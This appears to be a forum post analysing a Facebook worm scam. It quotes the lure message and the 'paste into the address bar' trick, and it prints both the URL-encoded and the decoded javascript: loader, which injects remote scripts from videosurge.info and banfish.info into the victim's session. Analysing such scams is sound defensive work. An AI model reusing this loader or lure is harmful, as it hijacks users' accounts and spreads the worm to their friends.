[CHALLENGE] Facebook javascript worm decoding.
It is a post on your wall from a friend reading:
"OMG!! <firstname> why are you tagged in this vid"
A video is posted below that.
![[IMG]](proxy.php?image=http%3A%2F%2Fplatform.ak.fbcdn.net%2Fwww%2Fapp_full_proxy.php%3Fapp%3D6628568379%26v%3D1%26size%3Dp%26cksum%3D57273ba2be34f0be87cd5746c7143e0a%26src%3Dhttp%253A%252F%252Fi.imgur.com%252FNlMK1.png&hash=0620fc95a9699e4434bb6d845f0e59e5)
After Clicking on the video, it reveals:
"Select Address bar and press Ctrl+V."
When the user does that this code is pasted on the address bar:
javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B
After replacing the URL Escape codes:
javascript:(function(){
function s(src){
var script = document.createElement("script");
script.src = src;
document.body.appendChild(script);
}
var rand = Math.floor(Math.random()*(100));
s("https://videosurge.info/verify.js");
if(rand <= 25) s("https://videosurge.info/config.js");
else s("https://banfish.info/config.js");
})
();
#-Link-Snipped-# Code:
function include(filename, cb)
{
var head = document.getElementsByTagName('head')[0];
script = document.createElement('script');
script.src = filename;
script.type = 'text/javascript';
script.onload = cb;
head.appendChild(script)
}
include("https://widgets.amung.us/small.js", function(){
WAU_small('dkz2a5lyiuwb');
});
![[IMG]](proxy.php?image=http%3A%2F%2Fwidgets.amung.us%2Fwidtemplates%2Fsmalloutline.gif&hash=8219f765fda6fb70243cf65c11867047)